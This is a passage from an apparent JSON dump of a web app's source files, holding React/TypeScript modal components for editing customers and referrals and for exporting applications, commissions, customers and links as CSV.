value),\n                })}\n              />\n            </div>\n\n            <div>\n              <label className=\"text-content-emphasis text-sm font-normal\">\n                Email\n              </label>\n              <input\n                type=\"email\"\n                autoComplete=\"off\"\n                className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"marvin@email.com\"\n                {...register(\"email\", {\n                  setValueAs: (value) => (value === \"\" ? null : value),\n                })}\n              />\n            </div>\n\n            <div>\n              <label className=\"text-content-emphasis text-sm font-normal\">\n                External ID\n              </label>\n              <input\n                type=\"text\"\n                autoComplete=\"off\"\n                className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"user_1K92AP652K2R7ANJAAHKENJNF\"\n                {...register(\"externalId\", {\n                  setValueAs: (value) => (value === \"\" ? null : value),\n                })}\n              />\n            </div>\n\n            <div>\n              <label className=\"text-content-emphasis text-sm font-normal\">\n                Stripe Customer ID\n              </label>\n              <input\n                type=\"text\"\n                autoComplete=\"off\"\n                className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"cus_N1YwZ8JxQ2AbC9\"\n                {...register(\"stripeCustomerId\", {\n                  setValueAs: (value) => (value === \"\" ? null : value),\n                })}\n              />\n            </div>\n          </div>\n\n          <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <div className=\"flex gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit\"\n                onClick={() => setShowModal(false)}\n                disabled={isSubmitting}\n              />\n              <Button\n                type=\"submit\"\n                text=\"Save\"\n                className=\"h-9 w-fit\"\n                loading={isSubmitting}\n                disabled={!isDirty}\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useEditCustomerModal() {\n  const [customer, setCustomer] = useState<CustomerEnriched | null>(null);\n\n  function openEditCustomerModal(customer: CustomerEnriched) {\n    setCustomer(customer);\n  }\n\n  function closeEditCustomerModal() {\n    setCustomer(null);\n  }\n\n  function EditCustomerModalWrapper() {\n    if (!customer) return null;\n\n    return (\n      <EditCustomerModal\n        customer={customer}\n        showModal\n        setShowModal={(show) => {\n          if (!show) closeEditCustomerModal();\n        }}\n      />\n    );\n  }\n\n  return {\n    openEditCustomerModal,\n    closeEditCustomerModal,\n    EditCustomerModal: EditCustomerModalWrapper,\n    isEditCustomerModalOpen: customer !== null,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/edit-referral-modal.tsx",
    "content": "\"use client\";\n\nimport { updateReferralAction } from \"@/lib/actions/referrals/update-referral\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ReferralFormDataField, ReferralProps } from \"@/lib/types\";\nimport { updateReferralSchema } from \"@/lib/zod/schemas/referrals\";\nimport { CountryCombobox } from \"@/ui/partners/country-combobox\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype EditReferralFormData = Omit<\n  z.infer<typeof updateReferralSchema>,\n  \"workspaceId\" | \"referralId\" | \"formData\"\n> & {\n  formData: Record<string, unknown>;\n};\n\ntype EditReferralModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  referral: ReferralProps;\n};\n\nfunction getInputTypeForField(\n  fieldType: ReferralFormDataField[\"type\"],\n): string {\n  if (fieldType === \"number\") return \"number\";\n  if (fieldType === \"phone\") return \"tel\";\n  if (fieldType === \"date\") return \"date\";\n  return \"text\";\n}\n\nfunction convertFormDataArrayToObject(\n  formData: ReferralFormDataField[] | null | undefined,\n): Record<string, unknown> {\n  if (!formData) return {};\n\n  return formData.reduce((acc, field) => {\n    acc[field.key] = field.value;\n    return acc;\n  }, {});\n}\n\nfunction EditReferralModal({\n  showModal,\n  setShowModal,\n  referral,\n}: EditReferralModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const customFormData = referral.formData ?? [];\n\n  const {\n    register,\n    control,\n    handleSubmit,\n    reset,\n    formState: { isDirty },\n  } = useForm<EditReferralFormData>({\n    defaultValues: {\n      name: referral.name || \"\",\n      email: referral.email || \"\",\n      company: referral.company || \"\",\n      formData: convertFormDataArrayToObject(customFormData),\n    },\n  });\n\n  // Reset form when modal opens\n  useEffect(() => {\n    if (showModal) {\n      reset({\n        name: referral.name || \"\",\n        email: referral.email || \"\",\n        company: referral.company || \"\",\n        formData: convertFormDataArrayToObject(customFormData),\n      });\n    }\n  }, [showModal, referral, reset, customFormData]);\n\n  const { executeAsync, isPending } = useAction(updateReferralAction, {\n    onSuccess: async () => {\n      setShowModal(false);\n      await mutatePrefix(`/api/programs/${defaultProgramId}/referrals`);\n      toast.success(\"Referral updated successfully!\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to update referral\");\n    },\n  });\n\n  const onSubmit = async (data: EditReferralFormData) => {\n    if (!workspaceId || !referral.id) {\n      return;\n    }\n\n    const originalFormData = referral.formData ?? [];\n\n    // Convert formData back to array format with preserved metadata\n    const updatedFormData: ReferralFormDataField[] = originalFormData.map(\n      (field) => ({\n        ...field,\n        value:\n          field.key in data.formData ? data.formData[field.key] : field.value,\n      }),\n    );\n\n    await executeAsync({\n      workspaceId,\n      referralId: referral.id,\n      name: data.name,\n      email: data.email,\n      company: data.company,\n      formData: updatedFormData.length > 0 ? updatedFormData : null,\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Edit referral</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form\n          onSubmit={(e) => {\n            e.stopPropagation();\n            return handleSubmit(onSubmit)(e);\n          }}\n        >\n          <div className=\"max-h-[40vh] overflow-y-auto\">\n            <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n              {/* Name field */}\n              <div>\n                <label className=\"text-content-emphasis text-sm font-normal\">\n                  Name\n                </label>\n                <input\n                  type=\"text\"\n                  autoComplete=\"name\"\n                  autoFocus={!isMobile}\n                  className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"Jim Stephenson\"\n                  {...register(\"name\", {\n                    setValueAs: (value) => (value === \"\" ? \"\" : value),\n                  })}\n                />\n              </div>\n\n              {/* Email field */}\n              <div>\n                <label className=\"text-content-emphasis text-sm font-normal\">\n                  Work email\n                </label>\n                <input\n                  type=\"email\"\n                  autoComplete=\"email\"\n                  className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"jim@nike.com\"\n                  {...register(\"email\", {\n                    setValueAs: (value) => (value === \"\" ? \"\" : value),\n                  })}\n                />\n              </div>\n\n              {/* Company field */}\n              <div>\n                <label className=\"text-content-emphasis text-sm font-normal\">\n                  Company\n                </label>\n                <input\n                  type=\"text\"\n                  autoComplete=\"organization\"\n                  className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"Nike\"\n                  {...register(\"company\", {\n                    setValueAs: (value) => (value === \"\" ? \"\" : value),\n                  })}\n                />\n              </div>\n\n              {/* Custom form data fields */}\n              {customFormData.map((field) => {\n                const keyPath = `formData.${field.key}` as const;\n\n                if (field.type === \"textarea\") {\n                  return (\n                    <div key={field.key}>\n                      <label className=\"text-content-emphasis text-sm font-normal\">\n                        {field.label}\n                      </label>\n                      <textarea\n                        className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                        placeholder={field.label}\n                        rows={3}\n                        {...register(keyPath, {\n                          setValueAs: (value) => (value === \"\" ? null : value),\n                        })}\n                      />\n                    </div>\n                  );\n                }\n\n                if (field.type === \"country\") {\n                  return (\n                    <div key={field.key}>\n                      <label className=\"text-content-emphasis text-sm font-normal\">\n                        {field.label}\n                      </label>\n                      <Controller\n                        control={control}\n                        name={keyPath}\n                        render={({ field: formField }) => {\n                          const country = Object.entries(COUNTRIES).find(\n                            ([_, name]) => name === (formField.value as string),\n                          )?.[0];\n\n                          return (\n                            <CountryCombobox\n                              value={country || (formField.value as string)}\n                              onChange={formField.onChange}\n                              className=\"mt-2\"\n                            />\n                          );\n                        }}\n                      />\n                    </div>\n                  );\n                }\n\n                // Default: text, number, phone, date, etc.\n                return (\n                  <div key={field.key}>\n                    <label className=\"text-content-emphasis text-sm font-normal\">\n                      {field.label}\n                    </label>\n                    <input\n                      type={getInputTypeForField(field.type)}\n                      className=\"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                      placeholder={field.label}\n                      {...register(keyPath, {\n                        setValueAs: (value) => {\n                          if (value === \"\") return null;\n                          if (field.type === \"number\") {\n                            const num = Number(value);\n                            return Number.isNaN(num) ? null : num;\n                          }\n                          return value;\n                        },\n                      })}\n                    />\n                  </div>\n                );\n              })}\n            </div>\n          </div>\n\n          <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <div className=\"flex gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-8 w-fit\"\n                onClick={() => setShowModal(false)}\n                disabled={isPending}\n              />\n              <Button\n                type=\"submit\"\n                text=\"Save\"\n                className=\"h-8 w-fit\"\n                loading={isPending}\n                disabled={!isDirty}\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useEditReferralModal() {\n  const [referral, setReferral] = useState<ReferralProps | null>(null);\n\n  function openEditReferralModal(referral: ReferralProps) {\n    setReferral(referral);\n  }\n\n  function closeEditReferralModal() {\n    setReferral(null);\n  }\n\n  function EditReferralModalWrapper() {\n    if (!referral) return null;\n\n    return (\n      <EditReferralModal\n        referral={referral}\n        showModal\n        setShowModal={(show) => {\n          if (!show) closeEditReferralModal();\n        }}\n      />\n    );\n  }\n\n  return {\n    openEditReferralModal,\n    closeEditReferralModal,\n    EditReferralModal: EditReferralModalWrapper,\n    isEditReferralModalOpen: referral !== null,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/export-applications-modal.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  exportApplicationColumns,\n  exportApplicationsColumnsDefault,\n} from \"@/lib/zod/schemas/partners\";\nimport { Button, Checkbox, Modal, useRouterStuff } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ninterface FormData {\n  columns: string[];\n}\n\nfunction ExportApplicationsModal({\n  showExportApplicationsModal,\n  setShowExportApplicationsModal,\n}: {\n  showExportApplicationsModal: boolean;\n  setShowExportApplicationsModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const columnCheckboxId = useId();\n  const { program } = useProgram();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const {\n    control,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      columns: exportApplicationsColumnsDefault,\n    },\n  });\n\n  const onSubmit = handleSubmit(async (data) => {\n    if (!workspaceId || !program?.id) {\n      return;\n    }\n\n    const lid = toast.loading(\"Exporting applications...\");\n\n    try {\n      const response = await fetch(\n        `/api/programs/${program.id}/applications/export?${new URLSearchParams({\n          workspaceId: workspaceId,\n          ...(data.columns.length\n            ? { columns: data.columns.join(\",\") }\n            : undefined),\n        })}`,\n        {\n          method: \"GET\",\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n        },\n      );\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n\n      a.href = url;\n      a.download = `Dub Applications Export - ${new Date().toISOString()}.csv`;\n      a.click();\n\n      toast.success(\"Exported successfully\");\n      setShowExportApplicationsModal(false);\n    } catch (error) {\n      toast.error(error);\n    } finally {\n      toast.dismiss(lid);\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showExportApplicationsModal}\n      setShowModal={setShowExportApplicationsModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Export applications\n        </h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Columns\n              </p>\n              <Controller\n                name=\"columns\"\n                control={control}\n                render={({ field }) => (\n                  <div className=\"xs:grid-cols-2 grid grid-cols-1 gap-x-4 gap-y-2\">\n                    {exportApplicationColumns.map(({ id, label }) => (\n                      <div key={id} className=\"group flex gap-2\">\n                        <Checkbox\n                          value={id}\n                          id={`${columnCheckboxId}-${id}`}\n                          checked={field.value.includes(id)}\n                          onCheckedChange={(checked) => {\n                            field.onChange(\n                              checked\n                                ? [...field.value, id]\n                                : field.value.filter((value) => value !== id),\n                            );\n                          }}\n                        />\n                        <label\n                          htmlFor={`${columnCheckboxId}-${id}`}\n                          className=\"select-none text-sm font-medium text-neutral-600 group-hover:text-neutral-800\"\n                        >\n                          {label}\n                        </label>\n                      </div>\n                    ))}\n                  </div>\n                )}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowExportApplicationsModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            text=\"Export applications\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useExportApplicationsModal() {\n  const [showExportApplicationsModal, setShowExportApplicationsModal] =\n    useState(false);\n\n  const ExportApplicationsModalCallback = useCallback(() => {\n    return (\n      <ExportApplicationsModal\n        showExportApplicationsModal={showExportApplicationsModal}\n        setShowExportApplicationsModal={setShowExportApplicationsModal}\n      />\n    );\n  }, [showExportApplicationsModal, setShowExportApplicationsModal]);\n\n  return useMemo(\n    () => ({\n      setShowExportApplicationsModal,\n      ExportApplicationsModal: ExportApplicationsModalCallback,\n    }),\n    [setShowExportApplicationsModal, ExportApplicationsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/export-commissions-modal.tsx",
    "content": "\"use client\";\n\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  COMMISSION_EXPORT_COLUMNS,\n  DEFAULT_COMMISSION_EXPORT_COLUMNS,\n} from \"@/lib/zod/schemas/commissions\";\nimport {\n  Button,\n  Checkbox,\n  InfoTooltip,\n  Modal,\n  Switch,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ninterface FormData {\n  columns: string[];\n  useFilters: boolean;\n}\n\nfunction ExportCommissionsModal({\n  showExportCommissionsModal,\n  setShowExportCommissionsModal,\n}: {\n  showExportCommissionsModal: boolean;\n  setShowExportCommissionsModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { data: session } = useSession();\n  const columnCheckboxId = useId();\n  const { program } = useProgram();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const {\n    control,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      columns: DEFAULT_COMMISSION_EXPORT_COLUMNS,\n      useFilters: true,\n    },\n  });\n\n  const onSubmit = handleSubmit(async (data) => {\n    if (!workspaceId || !program?.id) {\n      return;\n    }\n\n    const lid = toast.loading(\"Exporting commissions...\");\n\n    try {\n      const params = {\n        workspaceId,\n        ...(data.columns.length\n          ? { columns: data.columns.join(\",\") }\n          : undefined),\n      };\n\n      const searchParams = data.useFilters\n        ? getQueryString({\n            ...params,\n            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n          })\n        : \"?\" +\n          new URLSearchParams({\n            ...params,\n            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n          });\n\n      const response = await fetch(`/api/commissions/export${searchParams}`, {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const body = await response.json();\n        throw new Error(body.error?.message ?? \"Commission export failed\");\n      }\n\n      if (response.status === 202) {\n        toast.success(\n          `Your export is being processed and we'll send you an email (${session?.user?.email}) when it's ready to download.`,\n        );\n        setShowExportCommissionsModal(false);\n        return;\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n      a.href = url;\n      a.download = generateExportFilename(\"commissions\");\n      a.click();\n\n      toast.success(\"Commissions exported successfully\");\n      setShowExportCommissionsModal(false);\n    } catch (error) {\n      toast.error(\n        error instanceof Error ? error.message : \"Commission export failed\",\n      );\n    } finally {\n      toast.dismiss(lid);\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showExportCommissionsModal}\n      setShowModal={setShowExportCommissionsModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Export commissions</h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Columns\n              </p>\n              <Controller\n                name=\"columns\"\n                control={control}\n                render={({ field }) => (\n                  <div className=\"xs:grid-cols-2 grid grid-cols-1 gap-x-4 gap-y-2\">\n                    {COMMISSION_EXPORT_COLUMNS.map(({ id, label }) => (\n                      <div key={id} className=\"group flex gap-2\">\n                        <Checkbox\n                          value={id}\n                          id={`${columnCheckboxId}-${id}`}\n                          checked={field.value.includes(id)}\n                          onCheckedChange={(checked) => {\n                            field.onChange(\n                              checked\n                                ? [...field.value, id]\n                                : field.value.filter((value) => value !== id),\n                            );\n                          }}\n                        />\n                        <label\n                          htmlFor={`${columnCheckboxId}-${id}`}\n                          className=\"select-none text-sm font-medium text-neutral-600 group-hover:text-neutral-800\"\n                        >\n                          {label}\n                        </label>\n                      </div>\n                    ))}\n                  </div>\n                )}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"border-t border-neutral-200 bg-neutral-50 px-4 py-4 sm:px-6\">\n          <Controller\n            name=\"useFilters\"\n            control={control}\n            render={({ field }) => (\n              <div className=\"flex items-center justify-between gap-2\">\n                <span className=\"flex select-none items-center gap-2 text-sm font-medium text-neutral-600 group-hover:text-neutral-800\">\n                  Apply current filters\n                  <InfoTooltip content=\"Filter exported commissions by your currently selected filters\" />\n                </span>\n                <Switch checked={field.value} fn={field.onChange} />\n              </div>\n            )}\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowExportCommissionsModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            text=\"Export commissions\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useExportCommissionsModal() {\n  const [showExportCommissionsModal, setShowExportCommissionsModal] =\n    useState(false);\n\n  const ExportCommissionsModalCallback = useCallback(() => {\n    return (\n      <ExportCommissionsModal\n        showExportCommissionsModal={showExportCommissionsModal}\n        setShowExportCommissionsModal={setShowExportCommissionsModal}\n      />\n    );\n  }, [showExportCommissionsModal, setShowExportCommissionsModal]);\n\n  return useMemo(\n    () => ({\n      setShowExportCommissionsModal,\n      ExportCommissionsModal: ExportCommissionsModalCallback,\n    }),\n    [setShowExportCommissionsModal, ExportCommissionsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/export-customers-modal.tsx",
    "content": "\"use client\";\n\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CUSTOMER_EXPORT_COLUMNS,\n  CUSTOMER_EXPORT_DEFAULT_COLUMNS,\n} from \"@/lib/zod/schemas/customers\";\nimport {\n  Button,\n  Checkbox,\n  InfoTooltip,\n  Modal,\n  Switch,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { usePathname } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ninterface FormData {\n  columns: string[];\n  useFilters: boolean;\n}\n\nfunction ExportCustomersModal({\n  showExportCustomersModal,\n  setShowExportCustomersModal,\n}: {\n  showExportCustomersModal: boolean;\n  setShowExportCustomersModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const pathname = usePathname();\n\n  const { program } = useProgram();\n  const { data: session } = useSession();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const columnCheckboxId = useId();\n\n  const {\n    control,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      columns: CUSTOMER_EXPORT_DEFAULT_COLUMNS,\n      useFilters: true,\n    },\n  });\n\n  const scope = pathname.includes(\"/program\") ? \"program\" : \"workspace\";\n\n  const visibleColumns = useMemo(() => {\n    const cols =\n      scope === \"program\"\n        ? [...CUSTOMER_EXPORT_COLUMNS]\n        : CUSTOMER_EXPORT_COLUMNS.filter((col) => !col.programOnly);\n\n    return cols.sort((a, b) => a.order - b.order);\n  }, [scope]);\n\n  const onSubmit = handleSubmit(async (data) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    if (scope === \"program\" && !program?.id) {\n      return;\n    }\n\n    const lid = toast.loading(\"Exporting customers...\");\n\n    try {\n      const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;\n\n      const programOnlyIds = new Set<string>(\n        CUSTOMER_EXPORT_COLUMNS.filter((col) => col.programOnly).map(\n          (col) => col.id,\n        ),\n      );\n\n      const columns =\n        scope === \"program\"\n          ? data.columns\n          : data.columns.filter((c) => !programOnlyIds.has(c));\n\n      let baseParams: Record<string, string> = {\n        timezone,\n        workspaceId,\n        ...(columns.length ? { columns: columns.join(\",\") } : {}),\n      };\n\n      if (scope === \"program\" && program?.id) {\n        baseParams = {\n          ...baseParams,\n          programId: program?.id,\n        };\n      }\n\n      const queryString = data.useFilters\n        ? getQueryString(baseParams)\n        : `?${new URLSearchParams(baseParams).toString()}`;\n\n      const response = await fetch(`/api/customers/export${queryString}`, {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const body = await response.json();\n        throw new Error(body.error?.message ?? \"Customer export failed\");\n      }\n\n      if (response.status === 202) {\n        toast.success(\n          `Your export is being processed and we'll send you an email (${session?.user?.email}) when it's ready to download.`,\n        );\n        setShowExportCustomersModal(false);\n        return;\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n      a.href = url;\n\n      a.download = generateExportFilename(\"customers\");\n      a.click();\n      window.URL.revokeObjectURL(url);\n\n      toast.success(\"Customers exported successfully\");\n      setShowExportCustomersModal(false);\n    } catch (error) {\n      toast.error(\n        error instanceof Error ? error.message : \"Customer export failed\",\n      );\n    } finally {\n      toast.dismiss(lid);\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showExportCustomersModal}\n      setShowModal={setShowExportCustomersModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Export customers</h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <p className=\"mb-2 block text-sm font-medium text-neutral-700\">\n                Columns\n              </p>\n              <Controller\n                name=\"columns\"\n                control={control}\n                render={({ field }) => (\n                  <div className=\"xs:grid-cols-2 grid grid-cols-1 gap-x-4 gap-y-2\">\n                    {visibleColumns.map(({ id, label }) => (\n                      <div key={id} className=\"group flex gap-2\">\n                        <Checkbox\n                          value={id}\n                          id={`${columnCheckboxId}-${id}`}\n                          checked={field.value.includes(id)}\n                          onCheckedChange={(checked) => {\n                            field.onChange(\n                              checked\n                                ? [...field.value, id]\n                                : field.value.filter((value) => value !== id),\n                            );\n                          }}\n                        />\n                        <label\n                          htmlFor={`${columnCheckboxId}-${id}`}\n                          className=\"select-none text-sm font-medium text-neutral-600 group-hover:text-neutral-800\"\n                        >\n                          {label}\n                        </label>\n                      </div>\n                    ))}\n                  </div>\n                )}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"border-t border-neutral-200 bg-neutral-50 px-4 py-4 sm:px-6\">\n          <Controller\n            name=\"useFilters\"\n            control={control}\n            render={({ field }) => (\n              <div className=\"flex items-center justify-between gap-2\">\n                <span className=\"flex select-none items-center gap-2 text-sm font-medium text-neutral-600 group-hover:text-neutral-800\">\n                  Apply current filters\n                  <InfoTooltip content=\"Filter exported customers by your currently selected filters\" />\n                </span>\n                <Switch checked={field.value} fn={field.onChange} />\n              </div>\n            )}\n          />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowExportCustomersModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            text=\"Export customers\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useExportCustomersModal() {\n  const [showExportCustomersModal, setShowExportCustomersModal] =\n    useState(false);\n\n  const ExportCustomersModalCallback = useCallback(() => {\n    return (\n      <ExportCustomersModal\n        showExportCustomersModal={showExportCustomersModal}\n        setShowExportCustomersModal={setShowExportCustomersModal}\n      />\n    );\n  }, [showExportCustomersModal, setShowExportCustomersModal]);\n\n  return useMemo(\n    () => ({\n      setShowExportCustomersModal,\n      ExportCustomersModal: ExportCustomersModalCallback,\n    }),\n    [setShowExportCustomersModal, ExportCustomersModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/export-links-modal.tsx",
    "content": "import { INTERVAL_DISPLAYS } from \"@/lib/analytics/constants\";\nimport { getIntervalData } from \"@/lib/analytics/utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  exportLinksColumns,\n  exportLinksColumnsDefault,\n} from \"@/lib/zod/schemas/links\";\nimport {\n  Button,\n  Checkbox,\n  DateRangePicker,\n  InfoTooltip,\n  Modal,\n  Switch,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype FormData = {\n  dateRange: {\n    from?: Date;\n    to?: Date;\n    interval?: string;\n  };\n  columns: string[];\n  useFilters: boolean;\n};\n\nfunction ExportLinksModal({\n  showExportLinksModal,\n  setShowExportLinksModal,\n}: {\n  showExportLinksModal: boolean;\n  setShowExportLinksModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { data: session } = useSession();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n  const dateRangePickerId = useId();\n  const columnCheckboxId = useId();\n\n  const {\n    control,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      dateRange: {\n        interval: \"all\",\n      },\n      columns: exportLinksColumnsDefault,\n      useFilters: true,\n    },\n  });\n\n  const onSubmit = handleSubmit(async (data) => {\n    const lid = toast.loading(\"Exporting 